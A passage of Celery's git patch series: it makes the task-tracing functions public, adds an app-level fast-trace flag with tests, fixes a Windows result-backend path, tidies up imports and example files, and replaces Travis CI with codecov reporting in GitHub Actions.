trace_task, trace_task_ret, fast_trace_task from celery.exceptions import (Ignore, InvalidTaskError, Reject, Retry, TaskRevokedError, Terminated, TimeLimitExceeded, WorkerLostError) @@ -323,8 +323,9 @@ def execute_using_pool(self, pool, **kwargs): raise TaskRevokedError(task_id) time_limit, soft_time_limit = self.time_limits + trace = fast_trace_task if self._app.use_fast_trace_task else trace_task_ret result = pool.apply_async( - trace_task_ret, + trace, args=(self._type, task_id, self._request_dict, self._body, self._content_type, self._content_encoding), accept_callback=self.on_accepted, @@ -627,15 +628,18 @@ def group_index(self): return self._request_dict.get('group_index') -def create_request_cls(base, task, pool, hostname, eventer, +def create_request_cls(app, base, task, pool, hostname, eventer, ref=ref, revoked_tasks=revoked_tasks, - task_ready=task_ready, trace=trace_task_ret): + task_ready=task_ready, trace=None): default_time_limit = task.time_limit default_soft_time_limit = task.soft_time_limit apply_async = pool.apply_async acks_late = task.acks_late events = eventer and eventer.enabled + if trace is None: + trace = fast_trace_task if app.use_fast_trace_task else trace_task_ret + class Request(base): def execute_using_pool(self, pool, **kwargs): diff --git a/celery/worker/strategy.py b/celery/worker/strategy.py index 8fb1eabd319..6adc3b82c64 100644 --- a/celery/worker/strategy.py +++ b/celery/worker/strategy.py @@ -124,7 +124,7 @@ def default(task, app, consumer, limit_task = consumer._limit_task limit_post_eta = consumer._limit_post_eta Request = symbol_by_name(task.Request) - Req = create_request_cls(Request, task, consumer.pool, hostname, eventer) + Req = create_request_cls(app, Request, task, consumer.pool, hostname, eventer) revoked_tasks = consumer.controller.state.revoked diff --git a/t/unit/tasks/test_trace.py b/t/unit/tasks/test_trace.py index 3d7061acea5..0b6fd4196ce 100644 --- a/t/unit/tasks/test_trace.py +++ b/t/unit/tasks/test_trace.py @@ -435,4 +435,4 @@ def foo(self, i): assert foo(1).called_directly finally: - reset_worker_optimizations() + reset_worker_optimizations(self.app) diff --git a/t/unit/worker/test_request.py b/t/unit/worker/test_request.py index c0d0119d9b8..243ea3ac6d0 100644 --- a/t/unit/worker/test_request.py +++ b/t/unit/worker/test_request.py @@ -762,8 +762,9 @@ def test_on_soft_timeout(self, patching): def test_fast_trace_task(self): from celery.app import trace + assert self.app.use_fast_trace_task is False setup_worker_optimizations(self.app) - assert trace.trace_task_ret is trace._fast_trace_task + assert self.app.use_fast_trace_task is True tid = uuid() message = self.TaskMessage(self.mytask.name, tid, args=[4]) assert len(message.payload) == 3 @@ -772,7 +773,7 @@ def test_fast_trace_task(self): self.mytask.name, self.mytask, self.app.loader, 'test', app=self.app, ) - failed, res, runtime = trace.trace_task_ret( + failed, res, runtime = trace.fast_trace_task( self.mytask.name, tid, message.headers, message.body, message.content_type, message.content_encoding) assert not failed @@ -780,8 +781,8 @@ def test_fast_trace_task(self): assert runtime is not None assert isinstance(runtime, numbers.Real) finally: - reset_worker_optimizations() - assert trace.trace_task_ret is trace._trace_task_ret + reset_worker_optimizations(self.app) + assert self.app.use_fast_trace_task is False delattr(self.mytask, '__trace__') failed, res, runtime = trace.trace_task_ret( self.mytask.name, tid, message.headers, message.body, @@ -977,11 +978,30 @@ def test_execute_fail(self): assert isinstance(meta['result'], KeyError) def test_execute_using_pool(self): + from celery.app.trace import trace_task_ret tid = uuid() job = self.xRequest(id=tid, args=[4]) p = Mock() job.execute_using_pool(p) p.apply_async.assert_called_once() + trace = p.apply_async.call_args[0][0] + assert trace == trace_task_ret + args = p.apply_async.call_args[1]['args'] + assert args[0] == self.mytask.name + assert args[1] == tid + assert args[2] == job.request_dict + assert args[3] == job.message.body + + def test_execute_using_pool_fast_trace_task(self): + from celery.app.trace import fast_trace_task + self.app.use_fast_trace_task = True + tid = uuid() + job = self.xRequest(id=tid, args=[4]) + p = Mock() + job.execute_using_pool(p) + p.apply_async.assert_called_once() + trace = p.apply_async.call_args[0][0] + assert trace == fast_trace_task args = p.apply_async.call_args[1]['args'] assert args[0] == self.mytask.name assert args[1] == tid @@ -1054,7 +1074,7 @@ def setup(self): def create_request_cls(self, **kwargs): return create_request_cls( - Request, self.task, self.pool, 'foo', self.eventer, **kwargs + self.app, Request, self.task, self.pool, 'foo', self.eventer, **kwargs ) def zRequest(self, Request=None, revoked_tasks=None, ref=None, **kwargs): @@ -1153,6 +1173,28 @@ def test_execute_using_pool(self): weakref_ref.assert_called_with(self.pool.apply_async()) assert job._apply_result is weakref_ref() + def test_execute_using_pool_with_use_fast_trace_task(self): + from celery.app.trace import fast_trace_task as trace + self.app.use_fast_trace_task = True + weakref_ref = Mock(name='weakref.ref') + job = self.zRequest(id=uuid(), revoked_tasks=set(), ref=weakref_ref) + job.execute_using_pool(self.pool) + self.pool.apply_async.assert_called_with( + trace, + args=(job.type, job.id, job.request_dict, job.body, + job.content_type, job.content_encoding), + accept_callback=job.on_accepted, + timeout_callback=job.on_timeout, + callback=job.on_success, + error_callback=job.on_failure, + soft_timeout=self.task.soft_time_limit, + timeout=self.task.time_limit, + correlation_id=job.id, + ) + assert job._apply_result + weakref_ref.assert_called_with(self.pool.apply_async()) + assert job._apply_result is weakref_ref() + def test_execute_using_pool_with_none_timelimit_header(self): from celery.app.trace import trace_task_ret as trace weakref_ref = Mock(name='weakref.ref') From 3af6d9d5e3f52556a63e8091ee777890672256f4 Mon Sep 17 00:00:00 2001 From: Matus Valo Date: Fri, 15 Jan 2021 16:14:29 +0100 Subject: [PATCH 143/415] Make trace_task_ret and fast_trace_task public --- celery/app/trace.py | 17 ++++++----------- t/unit/tasks/test_trace.py | 6 +++--- t/unit/worker/test_request.py | 25 ++++++++++--------------- 3 files changed, 19 insertions(+), 29 deletions(-) diff --git a/celery/app/trace.py b/celery/app/trace.py index 28273250d92..82a4957b2ef 100644 --- a/celery/app/trace.py +++ b/celery/app/trace.py @@ -560,9 +560,9 @@ def _signal_internal_error(task, uuid, args, kwargs, request, exc): del tb -def _trace_task_ret(name, uuid, request, body, content_type, - content_encoding, loads=loads_message, app=None, - **extra_request): +def trace_task_ret(name, uuid, request, body, content_type, + content_encoding, loads=loads_message, app=None, + **extra_request): app = app or current_app._get_current_object() embed = None if content_type: @@ -582,12 +582,9 @@ def _trace_task_ret(name, uuid, request, body, content_type, return (1, R, T) if I else (0, Rstr, T) -trace_task_ret = _trace_task_ret # noqa: E305 - - -def _fast_trace_task(task, uuid, request, body, content_type, - content_encoding, loads=loads_message, _loc=None, - hostname=None, **_): +def fast_trace_task(task, uuid, request, body, content_type, + content_encoding, loads=loads_message, _loc=None, + hostname=None, **_): _loc = _localized if not _loc else _loc embed = None tasks, accept, hostname = _loc @@ -606,8 +603,6 @@ def _fast_trace_task(task, uuid, request, body, content_type, ) return (1, R, T) if I else (0, Rstr, T) -fast_trace_task = _fast_trace_task # noqa: E305 - def report_internal_error(task, exc): _type, _value, _tb = sys.exc_info() diff --git a/t/unit/tasks/test_trace.py b/t/unit/tasks/test_trace.py index 0b6fd4196ce..cb26720aedc 100644 --- a/t/unit/tasks/test_trace.py +++ b/t/unit/tasks/test_trace.py @@ -6,7 +6,7 @@ from celery import group, signals, states, uuid from celery.app.task import Context -from celery.app.trace import (TraceInfo, _fast_trace_task, _trace_task_ret, +from celery.app.trace import (TraceInfo, fast_trace_task, trace_task_ret, build_tracer, get_log_policy, get_task_name, log_policy_expected, log_policy_ignore, log_policy_internal, log_policy_reject, @@ -336,7 +336,7 @@ def test_trace_exception(self, mock_traceback_clear): mock_traceback_clear.assert_called() def test_trace_task_ret__no_content_type(self): - _trace_task_ret( + trace_task_ret( self.add.name, 'id1', {}, ((2, 2), {}, {}), None, None, app=self.app, ) @@ -344,7 +344,7 @@ def test_fast_trace_task__no_content_type(self): self.app.tasks[self.add.name].__trace__ = build_tracer( self.add.name, self.add, app=self.app, ) - _fast_trace_task( + fast_trace_task( self.add.name, 'id1', {}, diff --git a/t/unit/worker/test_request.py b/t/unit/worker/test_request.py index 243ea3ac6d0..f6d5f97c974 100644 --- a/t/unit/worker/test_request.py +++ b/t/unit/worker/test_request.py @@ -12,9 +12,10 @@ from kombu.utils.uuid import uuid from celery import states -from celery.app.trace import (TraceInfo, _trace_task_ret, build_tracer, +from celery.app.trace import (TraceInfo, trace_task_ret, build_tracer, mro_lookup, reset_worker_optimizations, - setup_worker_optimizations, trace_task) + setup_worker_optimizations, trace_task, + fast_trace_task) from celery.backends.base import BaseDictBackend from celery.exceptions import (Ignore, InvalidTaskError, Reject, Retry, TaskRevokedError, Terminated, WorkerLostError) @@ -761,7 +762,6 @@ def test_on_soft_timeout(self, patching): assert self.mytask.backend.get_status(job.id) == states.PENDING def test_fast_trace_task(self): - from celery.app import trace assert self.app.use_fast_trace_task is False setup_worker_optimizations(self.app) assert self.app.use_fast_trace_task is True @@ -773,7 +773,7 @@ def test_fast_trace_task(self): self.mytask.name, self.mytask, self.app.loader, 'test', app=self.app, ) - failed, res, runtime = trace.fast_trace_task( + failed, res, runtime = fast_trace_task( self.mytask.name, tid, message.headers, message.body, message.content_type, message.content_encoding) assert not failed @@ -784,7 +784,7 @@ def test_fast_trace_task(self): reset_worker_optimizations(self.app) assert self.app.use_fast_trace_task is False delattr(self.mytask, '__trace__') - failed, res, runtime = trace.trace_task_ret( + failed, res, runtime = trace_task_ret( self.mytask.name, tid, message.headers, message.body, message.content_type, message.content_encoding, app=self.app, ) @@ -800,7 +800,7 @@ def test_trace_task_ret(self): ) tid = uuid() message = self.TaskMessage(self.mytask.name, tid, args=[4]) - _, R, _ = _trace_task_ret( + _, R, _ = trace_task_ret( self.mytask.name, tid, message.headers, message.body, message.content_type, message.content_encoding, app=self.app, @@ -814,7 +814,7 @@ def test_trace_task_ret__no_trace(self): pass tid = uuid() message = self.TaskMessage(self.mytask.name, tid, args=[4]) - _, R, _ = _trace_task_ret( + _, R, _ = trace_task_ret( self.mytask.name, tid, message.headers, message.body, message.content_type, message.content_encoding, app=self.app, @@ -978,7 +978,6 @@ def test_execute_fail(self): assert isinstance(meta['result'], KeyError) def test_execute_using_pool(self): - from celery.app.trace import trace_task_ret tid = uuid() job = self.xRequest(id=tid, args=[4]) p = Mock() @@ -993,7 +992,6 @@ def test_execute_using_pool(self): assert args[3] == job.message.body def test_execute_using_pool_fast_trace_task(self): - from celery.app.trace import fast_trace_task self.app.use_fast_trace_task = True tid = uuid() job = self.xRequest(id=tid, args=[4]) @@ -1153,12 +1151,11 @@ def test_execute_using_pool__expired(self): job.execute_using_pool(self.pool) def test_execute_using_pool(self): - from celery.app.trace import trace_task_ret as trace weakref_ref = Mock(name='weakref.ref') job = self.zRequest(id=uuid(), revoked_tasks=set(), ref=weakref_ref) job.execute_using_pool(self.pool) self.pool.apply_async.assert_called_with( - trace, + trace_task_ret, args=(job.type, job.id, job.request_dict, job.body, job.content_type, job.content_encoding), accept_callback=job.on_accepted, @@ -1174,13 +1171,12 @@ def test_execute_using_pool(self): assert job._apply_result is weakref_ref() def test_execute_using_pool_with_use_fast_trace_task(self): - from celery.app.trace import fast_trace_task as trace self.app.use_fast_trace_task = True weakref_ref = Mock(name='weakref.ref') job = self.zRequest(id=uuid(), revoked_tasks=set(), ref=weakref_ref) job.execute_using_pool(self.pool) self.pool.apply_async.assert_called_with( - trace, + fast_trace_task, args=(job.type, job.id, job.request_dict, job.body, job.content_type, job.content_encoding), accept_callback=job.on_accepted, @@ -1196,7 +1192,6 @@ def test_execute_using_pool_with_use_fast_trace_task(self): assert job._apply_result is weakref_ref() def test_execute_using_pool_with_none_timelimit_header(self): - from celery.app.trace import trace_task_ret as trace weakref_ref = Mock(name='weakref.ref') job = self.zRequest(id=uuid(), revoked_tasks=set(), @@ -1204,7 +1199,7 @@ def test_execute_using_pool_with_none_timelimit_header(self): headers={'timelimit': None}) job.execute_using_pool(self.pool) self.pool.apply_async.assert_called_with( - trace, + trace_task_ret, args=(job.type, job.id, job.request_dict, job.body, job.content_type, job.content_encoding), accept_callback=job.on_accepted, From 948bb797d0975721aa41564fcec47eb462483c71 Mon Sep 17 00:00:00 2001 From: Matus Valo Date: Fri, 15 Jan 2021 17:05:13 +0100 Subject: [PATCH 144/415] reset_worker_optimizations and create_request_cls has now app as optional parameter --- celery/app/trace.py | 2 +- celery/worker/request.py | 6 +++--- celery/worker/strategy.py | 2 +- t/unit/worker/test_request.py | 2 +- 4 files changed, 6 insertions(+), 6 deletions(-) diff --git a/celery/app/trace.py b/celery/app/trace.py index 82a4957b2ef..e43152afc6d 100644 --- a/celery/app/trace.py +++ b/celery/app/trace.py @@ -647,7 +647,7 @@ def setup_worker_optimizations(app, hostname=None): app.use_fast_trace_task = True -def reset_worker_optimizations(app): +def reset_worker_optimizations(app=current_app): """Reset previously configured optimizations.""" try: delattr(BaseTask, '_stackprotected') diff --git a/celery/worker/request.py b/celery/worker/request.py index 71ed7192137..a5721eccdb2 100644 --- a/celery/worker/request.py +++ b/celery/worker/request.py @@ -13,7 +13,7 @@ from kombu.utils.encoding import safe_repr, safe_str from kombu.utils.objects import cached_property -from celery import signals +from celery import signals, current_app from celery.app.task import Context from celery.app.trace import trace_task, trace_task_ret, fast_trace_task from celery.exceptions import (Ignore, InvalidTaskError, Reject, Retry, @@ -628,9 +628,9 @@ def group_index(self): return self._request_dict.get('group_index') -def create_request_cls(app, base, task, pool, hostname, eventer, +def create_request_cls(base, task, pool, hostname, eventer, ref=ref, revoked_tasks=revoked_tasks, - task_ready=task_ready, trace=None): + task_ready=task_ready, trace=None, app=current_app): default_time_limit = task.time_limit default_soft_time_limit = task.soft_time_limit apply_async = pool.apply_async diff --git a/celery/worker/strategy.py b/celery/worker/strategy.py index 6adc3b82c64..98a47015352 100644 --- a/celery/worker/strategy.py +++ b/celery/worker/strategy.py @@ -124,7 +124,7 @@ def default(task, app, consumer, limit_task = consumer._limit_task limit_post_eta = consumer._limit_post_eta Request = symbol_by_name(task.Request) - Req = create_request_cls(app, Request, task, consumer.pool, hostname, eventer) + Req = create_request_cls(Request, task, consumer.pool, hostname, eventer, app=app) revoked_tasks = consumer.controller.state.revoked diff --git a/t/unit/worker/test_request.py b/t/unit/worker/test_request.py index f6d5f97c974..9650547bb57 100644 --- a/t/unit/worker/test_request.py +++ b/t/unit/worker/test_request.py @@ -1072,7 +1072,7 @@ def setup(self): def create_request_cls(self, **kwargs): return create_request_cls( - self.app, Request, self.task, self.pool, 'foo', self.eventer, **kwargs + Request, self.task, self.pool, 'foo', self.eventer, app=self.app, **kwargs ) def zRequest(self, Request=None, revoked_tasks=None, ref=None, **kwargs): From a5357cab8aa80ff701a1970f55dc1e1083a161f5 Mon Sep 17 00:00:00 2001 From: pavlos kallis Date: Sun, 14 Feb 2021 16:16:04 +0200 Subject: [PATCH 145/415] Small refactor (#6633) Co-authored-by: Pavlos Kallis --- celery/worker/request.py | 15 +++++++-------- 1 file changed, 7 insertions(+), 8 deletions(-) diff --git a/celery/worker/request.py b/celery/worker/request.py index a5721eccdb2..cb56936e2f5 100644 --- a/celery/worker/request.py +++ b/celery/worker/request.py @@ -485,16 +485,15 @@ def on_retry(self, exc_info): def on_failure(self, exc_info, send_failed_event=True, return_ok=False): """Handler called if the task raised an exception.""" task_ready(self) - if isinstance(exc_info.exception, MemoryError): - raise MemoryError(f'Process got: {exc_info.exception}') - elif isinstance(exc_info.exception, Reject): - return self.reject(requeue=exc_info.exception.requeue) - elif isinstance(exc_info.exception, Ignore): - return self.acknowledge() - exc = exc_info.exception - if isinstance(exc, Retry): + if isinstance(exc, MemoryError): + raise MemoryError(f'Process got: {exc}') + elif isinstance(exc, Reject): + return self.reject(requeue=exc.requeue) + elif isinstance(exc, Ignore): + return self.acknowledge() + elif isinstance(exc, Retry): return self.on_retry(exc_info) # (acks_late) acknowledge after result stored. From 9e44ddb2ccc5e7df8b3513e54f75d4f1f03a19a7 Mon Sep 17 00:00:00 2001 From: Kostya Deev Date: Sun, 24 Jan 2021 17:34:16 -0600 Subject: [PATCH 146/415] Fix for issue #5030 "Celery Result backend on Windows OS". --- celery/backends/filesystem.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/celery/backends/filesystem.py b/celery/backends/filesystem.py index 6b937b693b5..26a48aeaa56 100644 --- a/celery/backends/filesystem.py +++ b/celery/backends/filesystem.py @@ -38,6 +38,10 @@ def __init__(self, url=None, open=open, unlink=os.unlink, sep=os.sep, self.url = url path = self._find_path(url) + # Remove forwarding "/" for Windows os + if os.name == "nt" and path.startswith("/"): + path = path[1:] + # We need the path and separator as bytes objects self.path = path.encode(encoding) self.sep = sep.encode(encoding) From 6eb5b718843d69e31bb2c90e3efa2e2aa39f5f94 Mon Sep 17 00:00:00 2001 From: Fahmi Date: Fri, 19 Feb 2021 05:44:46 +0700 Subject: [PATCH 147/415] Fixed a typo on copyright section. --- celery/__init__.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/celery/__init__.py b/celery/__init__.py index ae3388c0e56..33c9902ba08 100644 --- a/celery/__init__.py +++ b/celery/__init__.py @@ -1,5 +1,5 @@ """Distributed Task Queue.""" -# :copyright: (c) 2016-20206 Asif Saif Uddin, celery core and individual +# :copyright: (c) 2016-2026 Asif Saif Uddin, celery core and individual # contributors, All rights reserved. # :copyright: (c) 2015-2016 Ask Solem. All rights reserved. # :copyright: (c) 2012-2014 GoPivotal, Inc., All rights reserved. From 1f2d9d9abe4b34c1b6fa3a890aab70e3611a3021 Mon Sep 17 00:00:00 2001 From: "Asif Saif Uddin (Auvi)" Date: Fri, 19 Feb 2021 11:21:55 +0600 Subject: [PATCH 148/415] update next-steps setup --- examples/next-steps/setup.py | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/examples/next-steps/setup.py b/examples/next-steps/setup.py index 8d9415cbd29..50449e59934 100644 --- a/examples/next-steps/setup.py +++ b/examples/next-steps/setup.py @@ -14,26 +14,26 @@ author='Ola A. Normann', author_email='author@example.com', keywords='our celery integration', - version='1.0', + version='2.0', description='Tasks for my project', long_description=__doc__, license='BSD', packages=find_packages(exclude=['ez_setup', 'tests', 'tests.*']), - test_suite='nose.collector', + test_suite='pytest', zip_safe=False, install_requires=[ - 'celery>=4.0', + 'celery>=5.0', # 'requests', ], classifiers=[ 'Development Status :: 5 - Production/Stable', 'License :: OSI Approved :: BSD License', - 'Programming Language :: Python :: 2', - 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3', - 'Programming Language :: Python :: 3.5', + 'Programming Language :: Python :: 3.6', + 'Programming Language :: Python :: 3.7', + 'Programming Language :: Python :: 3.8', 'Programming Language :: Python :: Implementation :: CPython', - 'Programming Language :: Python :: Implementation :: PyPy', + 'Programming Language :: Python :: Implementation :: PyPy3', 'Operating System :: OS Independent', ], ) From 1eade4c81bb5cd4715cf9269c1dfc806a472fa13 Mon Sep 17 00:00:00 2001 From: "Asif Saif Uddin (Auvi)" Date: Fri, 19 Feb 2021 11:29:15 +0600 Subject: [PATCH 149/415] update django exaples --- examples/django/proj/urls.py | 2 +- examples/django/requirements.txt | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/examples/django/proj/urls.py b/examples/django/proj/urls.py index 2616749dd6e..5f67c27b660 100644 --- a/examples/django/proj/urls.py +++ b/examples/django/proj/urls.py @@ -1,4 +1,4 @@ -from django.conf.urls import handler404, handler500, include, url # noqa +from django.urls import handler404, handler500, include, url # noqa # Uncomment the next two lines to enable the admin: # from django.contrib import admin diff --git a/examples/django/requirements.txt b/examples/django/requirements.txt index 72e653a9d83..4ba37fb5b8a 100644 --- a/examples/django/requirements.txt +++ b/examples/django/requirements.txt @@ -1,3 +1,3 @@ -django>=2.0.0 +django>=2.2.1 sqlalchemy>=1.0.14 -celery>=4.3.0 +celery>=5.0.5 From 33849376578986af13807d829260356da71e4e93 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Wed, 13 Jan 2021 10:40:51 +0200 Subject: [PATCH 150/415] isort. --- celery/backends/redis.py | 3 ++- celery/worker/request.py | 4 ++-- t/integration/test_inspect.py | 2 +- t/unit/backends/test_redis.py | 3 ++- t/unit/tasks/test_trace.py | 6 +++--- t/unit/utils/test_functional.py | 3 ++- t/unit/worker/test_request.py | 4 ++-- 7 files changed, 14 insertions(+), 11 deletions(-) diff --git a/celery/backends/redis.py b/celery/backends/redis.py index a0d392d9527..3ffdf70aa3d 100644 --- a/celery/backends/redis.py +++ b/celery/backends/redis.py @@ -12,7 +12,8 @@ from celery import states from celery._state import task_join_will_block from celery.canvas import maybe_signature -from celery.exceptions import BackendStoreError, ChordError, ImproperlyConfigured +from celery.exceptions import (BackendStoreError, ChordError, + ImproperlyConfigured) from celery.result import GroupResult, allow_join_result from celery.utils.functional import dictfilter from celery.utils.log import get_logger diff --git a/celery/worker/request.py b/celery/worker/request.py index cb56936e2f5..c1847820aae 100644 --- a/celery/worker/request.py +++ b/celery/worker/request.py @@ -13,9 +13,9 @@ from kombu.utils.encoding import safe_repr, safe_str from kombu.utils.objects import cached_property -from celery import signals, current_app +from celery import current_app, signals from celery.app.task import Context -from celery.app.trace import trace_task, trace_task_ret, fast_trace_task +from celery.app.trace import fast_trace_task, trace_task, trace_task_ret from celery.exceptions import (Ignore, InvalidTaskError, Reject, Retry, TaskRevokedError, Terminated, TimeLimitExceeded, WorkerLostError) diff --git a/t/integration/test_inspect.py b/t/integration/test_inspect.py index 6070de483d2..60332f0071d 100644 --- a/t/integration/test_inspect.py +++ b/t/integration/test_inspect.py @@ -94,7 +94,7 @@ def test_active_queues(self, inspect): 'no_declare': None, 'queue_arguments': None, 'routing_key': 'celery'} - ] + ] @flaky def test_active(self, inspect): diff --git a/t/unit/backends/test_redis.py b/t/unit/backends/test_redis.py index 23580fa3dfb..75d917b5cef 100644 --- a/t/unit/backends/test_redis.py +++ b/t/unit/backends/test_redis.py @@ -12,7 +12,8 @@ from celery import signature, states, uuid from celery.canvas import Signature -from celery.exceptions import BackendStoreError, ChordError, ImproperlyConfigured +from celery.exceptions import (BackendStoreError, ChordError, + ImproperlyConfigured) from celery.utils.collections import AttributeDict diff --git a/t/unit/tasks/test_trace.py b/t/unit/tasks/test_trace.py index cb26720aedc..81195439173 100644 --- a/t/unit/tasks/test_trace.py +++ b/t/unit/tasks/test_trace.py @@ -6,14 +6,14 @@ from celery import group, signals, states, uuid from celery.app.task import Context -from celery.app.trace import (TraceInfo, fast_trace_task, trace_task_ret, - build_tracer, get_log_policy, get_task_name, +from celery.app.trace import (TraceInfo, build_tracer, fast_trace_task, + get_log_policy, get_task_name, log_policy_expected, log_policy_ignore, log_policy_internal, log_policy_reject, log_policy_unexpected, reset_worker_optimizations, setup_worker_optimizations, trace_task, - traceback_clear) + trace_task_ret, traceback_clear) from celery.backends.base import BaseDictBackend from celery.exceptions import Ignore, Reject, Retry diff --git a/t/unit/utils/test_functional.py b/t/unit/utils/test_functional.py index 0eead299908..2100b074000 100644 --- a/t/unit/utils/test_functional.py +++ b/t/unit/utils/test_functional.py @@ -1,10 +1,11 @@ import pytest +from kombu.utils.functional import lazy + from celery.utils.functional import (DummyContext, first, firstmethod, fun_accepts_kwargs, fun_takes_argument, head_from_fun, maybe_list, mlazy, padlist, regen, seq_concat_item, seq_concat_seq) -from kombu.utils.functional import lazy def test_DummyContext(): diff --git a/t/unit/worker/test_request.py b/t/unit/worker/test_request.py index 9650547bb57..013cdf01aea 100644 --- a/t/unit/worker/test_request.py +++ b/t/unit/worker/test_request.py @@ -12,10 +12,10 @@ from kombu.utils.uuid import uuid from celery import states -from celery.app.trace import (TraceInfo, trace_task_ret, build_tracer, +from celery.app.trace import (TraceInfo, build_tracer, fast_trace_task, mro_lookup, reset_worker_optimizations, setup_worker_optimizations, trace_task, - fast_trace_task) + trace_task_ret) from celery.backends.base import BaseDictBackend from celery.exceptions import (Ignore, InvalidTaskError, Reject, Retry, TaskRevokedError, Terminated, WorkerLostError) From 015442278d33622122008e70f21b004f318aaf52 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Tue, 23 Feb 2021 13:47:19 +0200 Subject: [PATCH 151/415] Report code coverage using codecov. (#6642) --- .github/workflows/python-package.yml | 12 ++- .travis.yml | 140 --------------------------- 2 files changed, 9 insertions(+), 143 deletions(-) delete mode 100644 .travis.yml diff --git a/.github/workflows/python-package.yml b/.github/workflows/python-package.yml index 414522b8dc9..f6558ba8334 100644 --- a/.github/workflows/python-package.yml +++ b/.github/workflows/python-package.yml @@ -43,13 +43,13 @@ jobs: - name: Install dependencies run: | python -m pip install --upgrade pip - python -m pip install flake8 pytest case pytest-celery pytest-subtests pytest-timeout + python -m pip install flake8 pytest case pytest-celery pytest-subtests pytest-timeout pytest-cov python -m pip install moto boto3 msgpack PyYAML if [ -f requirements.txt ]; then pip install -r requirements.txt; fi - + - name: Run Unit test with pytest run: | - PYTHONPATH=. pytest -xv t/unit + PYTHONPATH=. pytest -xv --cov=celery --cov-report=xml --cov-report term t/unit - name: Lint with flake8 run: | @@ -57,3 +57,9 @@ jobs: flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics # exit-zero treats all errors as warnings. The GitHub editor is 127 chars wide flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics + - uses: codecov/codecov-action@v1 + with: + token: ${{ secrets.CODECOV_TOKEN }} # not required for public repos + flags: unittests # optional + fail_ci_if_error: true # optional (default = false) + verbose: true # optional (default = false) diff --git a/.travis.yml b/.travis.yml deleted file mode 100644 index 316d206de11..00000000000 --- a/.travis.yml +++ /dev/null @@ -1,140 +0,0 @@ -language: python -dist: bionic -cache: pip -python: - - '3.6' - - '3.7' - - '3.8' - - '3.9' -os: - - linux -stages: - - test - - integration - - lint -services: - - redis - - docker -env: - global: - - PYTHONUNBUFFERED=yes - - CELERY_TOX_PARALLEL= - jobs: - - MATRIX_TOXENV=unit - -jobs: - fast_finish: true - allow_failures: - - python: '3.9' - include: - - python: '3.9' - env: MATRIX_TOXENV=integration-rabbitmq - stage: integration - - - python: 3.8 - env: MATRIX_TOXENV=integration-rabbitmq - stage: integration - - - python: 3.8 - env: MATRIX_TOXENV=integration-redis - stage: integration - - - python: 3.8 - env: MATRIX_TOXENV=integration-dynamodb - stage: integration - - - python: 3.8 - env: MATRIX_TOXENV=integration-azureblockblob - stage: integration - - - python: 3.8 - env: MATRIX_TOXENV=integration-cache - stage: integration - - - python: 3.8 - env: MATRIX_TOXENV=integration-cassandra - stage: integration - - - python: 3.8 - env: MATRIX_TOXENV=integration-elasticsearch - stage: integration - - - python: '3.9' - env: - - TOXENV=flake8,apicheck,configcheck,bandit - - CELERY_TOX_PARALLEL='--parallel --parallel-live' - stage: lint - - - python: pypy3.6-7.3.1 - env: TOXENV=pypy3-unit - stage: test - -before_install: - - sudo install --directory --owner=travis /var/log/celery /var/run/celery - - sudo apt install libcurl4-openssl-dev libssl-dev gnutls-dev httping expect - - if [[ -v MATRIX_TOXENV ]]; then export TOXENV=${TRAVIS_PYTHON_VERSION}-${MATRIX_TOXENV}; fi; env - - | - if [[ "$TOXENV" == *rabbitmq ]]; then - docker run -d -p 5672:5672 -p 15672:15672 rabbitmq:3.8-management - while ! httping -c1 http://127.0.0.1:15672; do sleep 10; done - fi - - | - if [[ "$TOXENV" =~ "pypy" ]]; then - export PYENV_ROOT="$HOME/.pyenv" - if [ -f "$PYENV_ROOT/bin/pyenv" ]; then - cd "$PYENV_ROOT" && git pull - else - rm -rf "$PYENV_ROOT" && git clone --depth 1 https://github.com/pyenv/pyenv.git "$PYENV_ROOT" - fi - "$PYENV_ROOT/bin/pyenv" install "$PYPY_VERSION" - virtualenv --python="$PYENV_ROOT/versions/$PYPY_VERSION/bin/python" "$HOME/virtualenvs/$PYPY_VERSION" - source "$HOME/virtualenvs/$PYPY_VERSION/bin/activate" - which python - fi - - | - if [[ "$TOXENV" == *dynamodb ]]; then - docker run -d -p 8000:8000 amazon/dynamodb-local - while ! httping -c1 http://127.0.0.1:8000; do sleep 10; done - fi - - | - if [[ "$TOXENV" == *cache ]]; then - docker run -d -p 11211:11211 memcached:alpine - while ! ./extra/travis/is-memcached-running 127.0.0.1 11211; do sleep 1; done - fi - - | - if [[ "$TOXENV" == *cassandra ]]; then - cassandra_container_id=$(sudo docker run -d -p 9042:9042 cassandra:latest) - sudo docker exec $cassandra_container_id /bin/bash -c "while ! cqlsh -e 'describe cluster'; do sleep 1; done" - sudo docker exec $cassandra_container_id /opt/cassandra/bin/cqlsh -e "CREATE KEYSPACE tests WITH REPLICATION = { 'class' : 'SimpleStrategy', 'replication_factor' : 1 };" - sleep 1 - sudo docker exec $cassandra_container_id /opt/cassandra/bin/cqlsh -k tests -e "CREATE TABLE tests (task_id text, status text, result blob, date_done timestamp, traceback blob, children blob, PRIMARY KEY ((task_id), date_done)) WITH CLUSTERING ORDER BY (date_done DESC);" - sleep 1 - fi - - | - if [[ "$TOXENV" == *elasticsearch ]]; then - elasticsearch_container_id=$(sudo docker run -d -p 9200:9200 -e discovery.type=single-node elasticsearch:7.7.0) - sudo docker exec $elasticsearch_container_id /bin/bash -c "while ! curl '127.0.0.1:9200/_cluster/health?wait_for_status=yellow&timeout=30s'; do sleep 1; done" - fi - - | - docker run -d -e executable=blob -t -p 10000:10000 --tmpfs /opt/azurite/folder:rw arafato/azurite:2.6.5 - while ! httping -c1 http://127.0.0.1:10000; do sleep 10; done - export AZUREBLOCKBLOB_URL="azureblockblob://DefaultEndpointsProtocol=http;AccountName=devstoreaccount1;AccountKey=Eby8vdM02xNOcqFlqUwJPLlmEtlCDXJ1OUzFT50uSRZ6IFsuFq2UVErCz4I6tq/K1SZFPTOtr/KBHBeksoGMGw==;BlobEndpoint=http://127.0.0.1:10000/devstoreaccount1;" - - | - wget -qO - https://packages.couchbase.com/ubuntu/couchbase.key | sudo apt-key add - - sudo apt-add-repository -y 'deb 